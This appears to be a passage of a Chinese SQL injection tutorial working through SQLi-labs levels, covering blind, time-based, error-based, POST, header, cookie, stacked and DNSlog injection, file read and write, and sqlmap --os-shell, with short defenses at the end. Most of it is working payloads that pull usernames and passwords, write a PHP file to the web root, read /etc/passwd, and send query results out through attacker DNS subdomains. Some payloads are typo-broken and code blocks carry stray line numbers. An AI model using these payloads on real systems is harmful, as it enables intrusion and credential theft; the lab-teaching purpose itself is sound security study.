判断username这一列的第一条记录的长度是否为4' and length(substr((select username from security.users limit 0,1),1))=4 -- -' -- 此行无效-- 判断数据的ASCII码' and ascii(substr((select username from security.users limit 0,1),1,1))=105 -- -' -- 此行无效payload1 payload2 字符串1 68 D2 117 u3 109 m4 98 b 时间盲注 ​\t时间盲注(Time-Based Blind SQL Injection)是一种SQL注入攻击的类型,与普通的SQL注入不同之处在于它利用了数据库在执行查询时产生的时间延迟来推断查询条件的真假. ​\t在时间盲注攻击中,攻击者构造了一个SQL语句,该语句在条件成立时会导致数据库执行操作,而在条件不成立时会产生延时. ​\t攻击者通过观察应用程序对不同情况的响应时间来判断条件是否成立,从而逐步推断数据库中的信息. 以下是时间盲注的基本原理和测试方式 构造带有时间延迟的条件: 攻击者在SQL语句中构造一个条件,使得在条件成立时会导致数据库执行操作并产生时间延迟.例如: 1SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0); 上述语句中,如果用户名为admin且条件1=1成立,数据库将执行SLEEP(5),导致延时5秒. 观察响应时间: 攻击者通过观察应用程序对SQL查询的响应时间来判断条件是否成立. 应用程序的响应时间较短,说明条件不成立; 应用程序的响应时间较长,说明条件成立. 逐步推断条件: 攻击者逐步调整条件,通过不断观察响应时间的变化来推断数据库中的信息.例如,可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件. 盲注的流程 盲注用户名长度,再去盲注用户名 盲注数据表表名的长度,再去盲注数据表名 再去盲注数据字段长度,数据字段名 然后就是数据的记录总数,数据记录 Less-9 盲注用户名12345678910111213141516171819202122232425262728293031323334353637383940414243' and if(substring(user(),1,1)="r",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="t",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="@",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="l",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="c",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="a",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="l",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="h",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="o",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="s",sleep(5),1) -- -'-- 此行无效' and if(substring(user(),1,1)="t",sleep(5),1) -- -'-- 此行无效-- 最终得到,用户名为:root@localhost 盲注库名如果想猜测当前数据库,其原理也和上文一样. 查询有几个库 1' and if((select count(schema_name) from information_schema.schemata)=10,sleep(5),1) -- - 查询第一个库名长度 1' and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),1) -- - 查询第一个库名 1234567' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) -- -' -- 此行无效' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110,sleep(5),1) -- -' -- 此行无效-- 事实上这个库名我们知道是默认的information_schema 盲注表名1' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=1,sleep(5),1) -- - 正确后,页面会延时5s返回 1234567891011121314151617181920212223242526272829303132-- 获取表名的第一个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- -' -- 此行无效-- 获取表名的第二个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),2,1))=109,sleep(5),1) -- -' -- 此行无效-- 获取表名的第三个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),3,1))=97,sleep(5),1) -- -' -- 此行无效-- 获取表名的第四个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),4,1))=105,sleep(5),1) -- -' -- 此行无效-- 获取表名的第五个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),5,1))=108,sleep(5),1) -- -' -- 此行无效-- 获取表名的第六个字母的ASCII码' and if(ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),,1))=115,sleep(5),1) -- -' -- 此行无效-- 结果为emailspayload1 payload2 字符串1 101 e2 109 m3 97 a4 105 i5 108 l6 115 s 盲注列名 判断users表中有多少列 1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) -- - 判断每一列的列名长度 12345678910-- 第一列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 0,1))=2,sleep(5),1) -- -' -- 此行无效-- 第二列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1))=8,sleep(5),1) -- -' -- 此行无效-- 第三列列名长度' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1))=8,sleep(5),1) -- - 判断第三列列名 12345678910111213141516' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 2,1),1,1)))=106,sleep(5),1) -- -' -- 此行无效payload1 payload2 字母3 115 s4 115 s7 114 r8 100 d6 111 o1 112 p5 119 w2 97 a-- 按payload1顺序排序为:password 盲注数据1234567891011121314151617-- 判断列中有几条记录' and if((select count(*) from security.users)=13,sleep(5),1) -- -' -- 此行无效-- 判断username这一列的第一条记录的长度' and if((length((select username from security.users limit 0,1)))=4,sleep(5),1) -- -' -- 此行无效-- 猜解security数据库中users表中的第一条记录中的ASCII码值' and if((ascii(substr((select username from security.users limit 0,1),1,1)))=68,sleep(5),1) -- -'-- 此行无效payload1 payload2 字母\t1 68 d 2 117 u 3 109 m 4 98 b 报错注入 ​\t报错注入(Error-Based SQL Injection)是一种SQL注入攻击的形式,攻击者通过构造恶意的SQL语句,使得数据库执行时产生错误信息,进而泄露敏感信息. 以下是报错注入的基本原理和测试方式 构造恶意SQL语句: 攻击者通过构造SQL语句,故意引发数据库执行错误,以便获取错误信息中的敏感信息. 示例12SELECT * FROM users WHERE id = '1' AND 1=CONVERT(int, (SELECT @@version));-- CONVERT(int, (SELECT @@version))n会引发错误,将数据库版本信息包含在错误信息中. 观察错误信息: 攻击者通过观察应用程序返回的错误信息,从中提取敏感信息,如数据库版本、表名、列名等. 逐步推断信息: 攻击者通过逐步调整构造的SQL语句,观察不同的错误信息,逐步推断数据库结构和内容. 示例12-- 尝试获取users表的第一个列名,通过观察错误信息中的内容逐步推断数据库结构.SELECT * FROM users WHERE id = '1' AND 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' AND ROWNUM=1)); 技巧思路: 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息select/insert/update/delete都可以使用报错来获取信息. 背景条件∶ 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端. 判断是否存在报错注入:输入’You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 floor报错注入报错原理 ​\tfloor报错注入是利用select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错. ​\t实际利用中通过concat函数,连接注入语句与floor(rand(0)*2)函数,导致键值key重复. 要理解该语句的报错原因,首先大家需要理解如下的关键函数的作用:rand()、floor(rand(0)*2)、group by、count(*) . 理解rand函数rand() 是一个随机函数,当没有给定固定的随机数种子时,它会在每次调用时生成不同的数值.然而,一旦我们使用种子0初始化随机数生成器,rand() 就会形成一个固定的伪随机数序列.因此,即使函数本身旨在产生随机结果,通过使用固定的种子,产生的数值在每次程序运行时都将是相同的.这种现象在查看一个含有13行数据的表users时变得很明显,只需观察前6行,我们就能发现这一模式的一致性.这种一致性揭示了伪随机数序列的特性,即在给定相同种子的情况下,序列是完全可预测的.那么floor报错注入利用的时候rand(0)*2为什么要乘以2呢?这就要配合floor函数来说了.理解floor(rand(0)*2)函数floor()函数的作用就是返回小于等于括号内该值的最大整数,也就是取整.floor(rand(0)*2)就是对rand(0)产生的随机序列乘以2后的结果,再进行取整.得到伪随机序列为如下图所示:(只看前6行即可)因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序.理解group by()函数group by主要用来对数据进行分组(相同的分为一组).例如建立如下表进行实验通过如下语句进行查询.(这里在a和x之前缺省了as ,作用为用a和x代替原有的字段显示),显示的结果如下图所示:但通过group by进行分组排序是,结果会进行分组,相同名字为合并.如下图所示最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值理解count(*)函数count(*)统计结果的记录数这里与group by结合使用看一下:这里就是对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量.也就是lisi有2个,wangwu有1个,zhangsan有3个.按照ascii排序. 报错原因分析大家已经了解基本函数后,当执行如下语句时,就会产生一个报错.如下图所示 select count(*),floor(rand(0)*2) x from users group by x; ​\t该语句的目的是统计生成的随机数的种类及其数量. ​\t原本期望的执行结果是统计两个不同的随机数:0和1,它们在生成的随机序列中分别出现了两次和四次. 然而,出现了一个报错.为什么会报错?. ​\t关键在于理解 GROUP BY 函数的工作过程.在执行 GROUP BY key 时,数据库会逐行读取数据并将结果保存到一个临时表中. 对于每一行会有以下两种情况: key 已经存在于临时表中,那么就会更新临时表中对应的数据,而在更新数据时,不再计算随机数的值. ​\t2. key 不存在于临时表中,就会将包含该 key 的行插入到临时表中,插入时会重新计算随机数的值. ​\t现在,考虑一种情况:临时表中只包含 key 为 1 的行,而没有 key 为 0 的行. ​\t当数据库尝试将一行 key 为 0 的记录插入到临时表时,由于这是一个随机数,插入时会重新计算 floor(rand(0)*2) 的值. ​\t这可能导致插入时的值与检测时的值不一致,从而导致插入时的冲突,最终触发了错误. ​\t检测时和插入时两次计算了随机数的值,导致了错误的发生. 具体报错原因可以通过下列过程展示: MySQL执行结果,会产生011011这个序列,group by时,会建立空虚拟表如下图,然后从SQL语句执行结果序列(011011)读取数据并插入虚表: key count(*) 虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计算) 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果为1. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 虚表写入第二条记录,再次计算floor(rand(0)*2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)*2)不会被计算,直接count(*)加1,第二条记录写入完毕. 查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 虚表写入第三条记录,再次计算floor(rand(0)*2),发现结果为0(此时为第4次计算),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)*2)(此时为第5次计算),计算结果为1.然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry的报错. 操作 key floor(rand(0)*2) count(*) 取第一条记录 0 插入记录 1 1 1 取第二条记录,不用插入 1 1 2 取第三条记录 0 插入记录 1 1 总结通过上述的分析,在虚表中写入第三条记录时产生了报错.关键在于 floor(rand(0)*2) 这个随机数表达式在该过程中被计算了五次,这解释了为什么数据表中至少需要三条数据才能触发报错的原因.首先,要理解为何需要至少三条记录.每行记录插入时,随机数表达式都会重新计算.如果只有两条记录,那么在插入第三条记录时,它可能导致和之前插入时计算的随机数不一致,从而产生报错.此外,要注意随机数种子的问题.如果没有加入随机数种子或者加入了其他的数,那么 floor(rand()*2) 产生的随机序列是不可测的.这样可能导致插入时无法触发报错,因为随机数的值不可预测.最后,关于虚表中的键值问题.如果前面的记录查询后并未在虚表中留下 0 和 1 这两个键值,那么无论插入多少条记录,都不会触发报错.这是因为 floor(rand()*2) 不会再被计算作为虚表的键值.这也解释了为什么不加随机数种子有时候会报错,有时候不会报错的原因.在没有明确的种子的情况下,随机数的计算结果可能会因为每次执行而不同.比如下面用1作为随机数种子,就不会产生报错. 利用方法Less-5 1234567-- 固定报错SELECT COUNT(*),concat('~',(SELECT DATABASE()),FLOOR(RAND(0)*2)) as a FROM information_schema GROUP BY a-- from information_schema 作用是让rand()产生足够多次数的计算,因为你也不知道对方到底有什么数据库,5.0以上版本这个库是理论上是肯定存在的-- 一般使用行数比较多的默认数据表information_schema.tables-- 固定不会报错SELECT COUNT(*),concat('~',(SELECT DATABASE()),FLOOR(RAND(1)*2)) as a FROM information_schema GROUP BY a 12-- 查询数据库名' union select 1,count(*),concat('~',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询表名' union select 1,count(*),concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database() ),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询列名' union select 1,count(*),concat('~',(select group_concat(column_name) from information_schema.columns where table_name = "users" limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x -- - 12-- 查询内容' union select 1,count(*),concat('~',(select concat('~',username,'-',password) from security.users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x -- - extractvalue报错注入 extractvalue()MySQL中对XML文档数据进行查询的XPATH函数 ExtractValue(xml_frag,xpath_expr) 第一个参数可以传入目标xml文档 第二个参数是用xpath路径法表示的查找路径 123456789101112131415161718192021222324252627282930-- 查看当前数据库用户 'and extractvalue(1 ,concat(0x7e,(select user()),0x7e))-- -' -- 此行无效-- concat()的作用是连接字符串,并促使extractvalue()报错,其括号中至少需要两个参数-- extractvalue()的作用是报错,其中有个参数.第二个参数需要的是xpath格式的字符串,输入不符合,因此报错.-- 查看当前数据库名称 'and extractvalue(1 ,concat(0x7e,(select database()),0x7e))-- -' -- 此行无效-- 查看当前数据表名称 'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- -' -- 此行无效-- 查看users表中的列 'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))-- -' -- 此行无效-- 查看字段中的内容 'and extractvalue(1,concat(0x7e,(select username from security.users limit 0,1),0x7e))-- -' -- 此行无效-- 查看密码字段 'and extractvalue(1,concat(0x7e,(select password from security.users limit 0,1),0x7e))-- -' -- 此行无效-- 密码截断显示-- security数据库里的数据一共就4个字符,所以用不到,这个方法适用于数据过长的情况'and extractvalue(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),1,32)),0x7e))-- -' -- 此行无效 updatexml报错注入 updatexml()MySQL中对XML文档数据进行查询和修改的XPATH函数 UPDATEXML(xml_document, XPathstring, new_value) 第一个参数:fiedname是String格式,为表中的字段名. 第二个参数:XPathstring (Xpath格式的字符串). 第三个参数:new_value,String格式,替换查找到的符合条件的 12345678910111213141516171819202122232425262728293031323334353637-- 查看当前数据库用户 'and updatexml(1 ,concat(0x7e,(select user()),0x7e),1)-- -' -- 此行无效-- concat()的作用是连接字符串,并促使updatexml()报错,其括号中至少需要两个参数-- updatexml()的作用是报错,其中有三个参数.第二个参数需要的是xpath格式的字符串,输入不符合,因此报错.-- 查看当前数据库名称 'and updatexml(1 ,concat(0x7e,(select database()),0x7e),1)-- -' -- 此行无效-- 查看当前数据表名称 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -' -- 此行无效-- 查看users表中的列 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- -' -- 此行无效-- 查看字段中的内容 'and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)-- -' -- 此行无效-- 查看密码字段 'and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)-- -' -- 此行无效-- 密码截断显示 'and updatexml(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),1,31)),0x7e),1)-- -' -- 此行无效-- 结果:XPATH syntax error:'~6531306164633339343962613539616''and updatexml(1,concat(0x7e,(substring(hex((select password from security.users limit 0,1)),32,10)),0x7e),1)-- -' -- 此行无效-- 结果:XPATH syntax error:'~2626535366~'-- 结果为16进制,加个0x然后还原为md5解密-- 组合:0x65313061646333393439626135396162626535366 updatexml()能查询字符串的最大长度为32,如果我们想要的结果超过32,就需要用substring()函数截取 geometrycollection() multIPoint() polygon() multIPolygon() linestring() multilinestring() exp() POST注入 ​\tPOST注入是一种SQL注入攻击类型,与GET注入相对应. ​\t在POST注入中,攻击者利用应用程序接收的用户提交的POST请求参数中的漏洞,注入恶意的SQL代码,从而执行非法的数据库操作. 基本原理和步骤如下: 构造恶意的POST请求: 攻击者通过修改POST请求中的参数值,注入包含恶意SQL代码的内容. 寻找注入点: 在POST请求中,通常存在一些参数用于传递用户输入的数据,攻击者需要找到可以注入的参数位置. 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,将其嵌入到POST请求参数中,以触发数据库执行非预期的操作. 观察应用程序响应: 攻击者观察应用程序对恶意请求的响应,判断是否成功执行了注入的SQL代码,从而推断数据库结构和获取敏感信息. ​\t假设一个应用程序接收用户的登录请求,POST请求中包含用户名(username)和密码(password)两个参数.攻击者可以构造恶意的用户名参数,尝试进行SQL注入. 示例12345POST /login HTTP/1.1Host:example.comContent-Type:application/x-www-form-urlencodedusername=admin' OR '1'='1' --&password=test123&Submit=Login 上述例子中,攻击者在用户名参数中使用了SQL注入的技巧,通过 ' OR '1'='1' -- 来绕过身份验证,使得条件始终为真. 打开靶机SQLi-labs/less-11输入dump,dump打开BURP抓包数据 快捷键Ctrl+R发送到Repeater模块输入单引号发送包发现报错 开始基本流程 12345678910111213141516171819202122232425-- 闭合uname=dump' -- -&passwd=dump&submit=Submit' -- 此行无效-- 测试列数uname=dump' order by 2 -- -&passwd=dump&submit=Submit' -- 此行无效-- 查询数据库uname=dump&passwd=dump' union select 1,database() -- -&submit=Submit' -- 此行无效-- 查询表uname=dump&passwd=dump' union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1 -- -&submit=Submit' -- 此行无效-- 查询列uname=dump&passwd=dump' union select 1,column_name from information_schema.columns where table_name='users' limit 1,1 -- -&submit=Submit' -- 此行无效uname=dump&passwd=dump' union select 1,column_name from information_schema.columns where table_name='users' limit 2,1 -- -&submit=Submit' -- 此行无效-- 查询数据uname=dump&passwd=dump' union select username,password from security.users limit 0,1 -- -&submit=Submit User-Agent注入Less-18 需要正确登录 12345678910111213-- 获取库名kjkj' or updatexml(1,concat(0x7e,(database()),0x7e),0) or'-- 获取表名kjkj' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()limit 0,1),0x7e),0) or'-- 获取列名kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),0) or'-- 获取数据kjkj' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),0) or' Referer注入Less-19 12345678910111213-- 获取库名kjkj' or updatexml(1,concat(0x7e,(database()),0x7e),0) or'-- 获取表名kjkj' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database()limit 0,1),0x7e),0) or'-- 获取列名kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),0) or'kjkj' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),0) or'-- 获取数据kjkj' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),0) or'\tkjkj' or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),0) or' Cookie注入登陆后才有Cookie. 12345678910111213-- 获取表名Cookie:uname=-Dumb' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 3,1 -- -' -- 此行无效-- 获取列名Cookie:uname=-Dumb' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1 -- -' -- 此行无效Cookie:uname=-Dumb' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 -- -' -- 此行无效-- 获取数据Cookie:uname=-Dumb' union select 1,username,password from security.users limit 0,1 -- - 堆叠注入定义:从名词的含义就可以看到应该是一堆SQL语句(多条)一起执行 堆叠注入原理​\t在SQL中,分号(;)是用来表示一条SQL语句的结束. ​\t试想一下我们在;结束一个SQL语句后继续构造下一条语句,会不会一起执行? ​\t因此这个想法也就造就了堆叠注入. ​\t而union injectionS(联合注入)也是将两条语句合并在一起. 两者之间有什么区别么?union 执行的语句类型是有限的,只能用来执行查.因为在我们每次进行SQL注入的时候,我们输入语句会拼接到$SQL="SELECT * FROM users WHERE ... 那么在为查询赋予条件的时候我们是不可能在后面跟随另外的增删改查操作的.堆叠注入可以执行的是任意的语句.用户输入:1; DELETE FROM products服务器端生成的SQL语句为:Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除 ​\t但堆叠注入不是在什么情况下都可以使用,可能会受到API或者数据库引擎又或者权限的限制只有当调用数据库函数支持执行多条SQL语句时才能够使用,利用mysqli_multi_query()函数就支持多条SQL语句同时执行,但实际情况中,如PHP为了防止SQL注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁. 代码分析mysqli_multi_query可以执行多条语句payload:http://10.10.10.197/SQLi/Less-38?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb') -- - 123456789101112131415161718192021// 定义SQL查询语句,从名为 'users' 的表中选择所有列,其中 'id' 列的值等于传入的参数 '$id'$SQL = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";// 使用 mysqli_multi_query 执行 SQL 查询,此函数可用于执行多个 SQL 查询if (mysqli_multi_query($con1, $SQL)) { // 如果查询成功执行,使用 mySQLi_store_result 获取结果集 if ($result = mySQLi_store_result($con1)) { // 使用 mySQLi_fetch_row 获取结果集的一行数据 if ($row = mySQLi_fetch_row($result)) { // 输出 HTML 标签,显示结果 echo '<font size="5" color="#00FF00">'; // 使用 printf 输出用户名信息,$row[1] 表示结果集中第二列的值 printf("Your Username is:%s", $row[1]); echo "<br>"; // 使用 printf 输出密码信息,$row[2] 表示结果集中第三列的值 printf("Your Password is:%s", $row[2]); echo "<br>"; echo "</font>"; } }} 注入方法12345678910-- 查询表名?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -' -- 此行无效-- 查询列名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' -- -' -- 此行无效-- 插入内容?id=-1' ;insert into users(id,username,password) values(90,'kill3r','kill3r') -- - DNSlog注入 ​\tDNSlog注入是一种高级的SQL注入攻击技术,它利用DNS解析过程中的特性,将恶意数据通过DNS请求传递到攻击者控制的DNS服务器,从而实现在无法直接获取响应的情况下,间接获取数据库信息的目的. 基本原理和步骤如下: 构造恶意SQL语句: 攻击者构造包含恶意SQL代码的语句,通常在语句中包含对DNS解析过程产生的DNS请求的利用代码. 触发DNS解析: 攻击者将构造的恶意SQL语句注入到目标应用程序中,使其在处理用户请求时触发DNS解析. DNSlog服务: 攻击者拥有一个控制的DNS服务器,该服务器能够记录接收到的DNS请求,并将记录的信息发送给攻击者. DNS记录信息: 当应用程序触发DNS解析时,攻击者控制的DNS服务器会收到请求并记录相关信息,例如恶意SQL代码执行的结果. 获取数据库信息: 攻击者通过查看DNS服务器的记录,间接获取数据库执行恶意SQL语句后的信息,包括可能的敏感信息. ​\tDNSlog注入的优势在于攻击者无需直接获取应用程序的响应,而是通过DNS请求的记录来获取信息,这使得攻击更为隐蔽.然而,实施DNSlog注入需要掌握一定的网络和DNS知识. 什么是DNSlog​\t我们都知道DNS就是将域名解析为IP,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实IP: 127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务. ​\t那么DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件. DNSlog回显原理​\t前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢.我们得再了解一个多级域名的概念. https://blog.csdn.net/weixin_50464560/article/details/117607146https://blog.csdn.net/weixin_50464560/article/details/117607146 ​\t因特网采用层次树状结构命名方法.域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等.从右向左为顶级域名、二级域名、三级域名等,用点隔开. 示例1tieba.baidu.com 它由三个标号组成: com即为顶级域名 baidu为二级域名 tieba即为三级域名 域名不区分大小写. 再来看一个图 ​\t通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的IP 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方. 看个直观一点的例子来理解: ping命令的时候会用到DNS解析所以我就用ping命令做个实验. ​\t可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的IP地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了.原理上只要能进行DNS请求的函数都可能存在DNSlog注入. Windows平台 注入平台https://ceye.io/https://ceye.io/ http://dnslog.cn/http://dnslog.cn/ 手工注入12AND SELECT LOAD_FILE(CONCAT("--",(SELECT DATABASE()),".u4atj2.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT DATABASE())),".u4atj2.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT table_name FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 3,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT table_name FROM information_schema.`TABLES` WHERE table_schema=DATABASE() LIMIT 3,1 )),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT column_name FROM information_schema.`COLUMNS` WHERE table_name='users' LIMIT 0,1 ),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",h((SELECT column_name FROM information_schema.`COLUMNS` WHERE table_name='users' LIMIT 0,1 )),".2kx3x3.dnslog.cn/jiangjiyue.txt")) -- - 12AND SELECT LOAD_FILE(CONCAT("--",(SELECT CONCAT(username ,"---",password)FROM users LIMIT 0,1 ),".qnzz3t.dnslog.cn/jiangjiyue.txt")) -- -AND SELECT LOAD_FILE(CONCAT("--",hex((SELECT CONCAT(username ,"---",password)FROM security.users LIMIT 0,1 )),".qnzz3t.dnslog.cn/jiangjiyue.txt")) -- - 读写文件 文件读写权限检查 使用 show variables like '%secure%'; 来查看MySQL是否有读写文件的权限. 通过检查 secure_file_priv 变量,可以了解MySQL是否限制了文件的读写.三种状态:空(可写)、固定路径(在特定路径内可写)、null(不可写). select into outfile 和 select into dumpfile select into outfile 用于将查询结果输出到文件,通常是文本文件. select into dumpfile 类似于 outfile,但用于输出二进制格式文件. load_file() 函数 load_file() 函数用于读取本地文件.但要使用该函数,MySQL用户需要具有 FILE 权限. 可以通过 UNION SELECT 结构来执行 load_file() 函数,实现读取本地文件的目的. 文件写入示例 使用 select ... into outfile 或 select ... into dumpfile 结合联合查询,可以将恶意内容写入到指定路径的文件中. 1select id,username,password from user where id='1' union select 1,2,'<?php phpinfo();?>' into outfile 'D:\\\\Penetration\\\\TrafficTools\\\\phpStudy\\\\WWW\\\\p.php' 示例中演示了如何将 PHP 代码写入到指定路径的文件中,从而实现远程命令执行. 文件读取示例: 使用 load_file() 函数结合联合查询,可以读取本地文件的内容. 1select username,password from user where id='1' UNION SELECT 1,load_file('/etc/passwd') 示例中演示了如何读取 /etc/passwd 文件的内容. 注意事项: 上述操作需要具有足够的权限,通常需要 root 权限. 为了提高安全性,应该关闭魔术引号(magic_quotes_gpc). 操作中需要注意MySQL的文件读写权限以及文件的绝对路径. 利用SQLmap获得shell权限只限于Linux ​\tSQLmap证明存在注入并确保有dba权限.所谓DBA权限就是数据库的最大权限.在MariaDB数据库中一般为root. ​\t在SQL注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作. ​\t前文手注写入木马也是基于这个前提.SQLmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --is-dba current user is DBA:True代表其具备DBA权限.在SQLmap中--os-shell代表SqlMap将尝试获取shell. sqlmap -u "http://192.168.226.130/SQLi-labs/Less-1/?id=1" --os-shell选择对相应的中间件类型,这里用的lamp,所以选PHP 选择2制定web站点路径 输入上传目录/www/admin/localhost_80/wwwroot/SQLi-labs 获得os shell SQL注入的防御方法过滤可以对用户提交的敏感字符进行过滤和拦截. 转义可以对用户提交的敏感字符进行转义. 参数化查询参数化查询也叫做预处理,它分两个步骤处理用户的输入. 网站应用程序指定了查询语句结构,并为用户输入的每个数据预留了占位符. 网站应用程序指定每个占位符的内容. ​\t在第二个步骤中,用户输入被填入占位符,但不会改变第一个步骤中预设好的查询语句结构. ​\t这样,网站应用程序就不会将用户输入语句判断为SQL语句执行了,而会把用户的输入当做一个整体去查询. 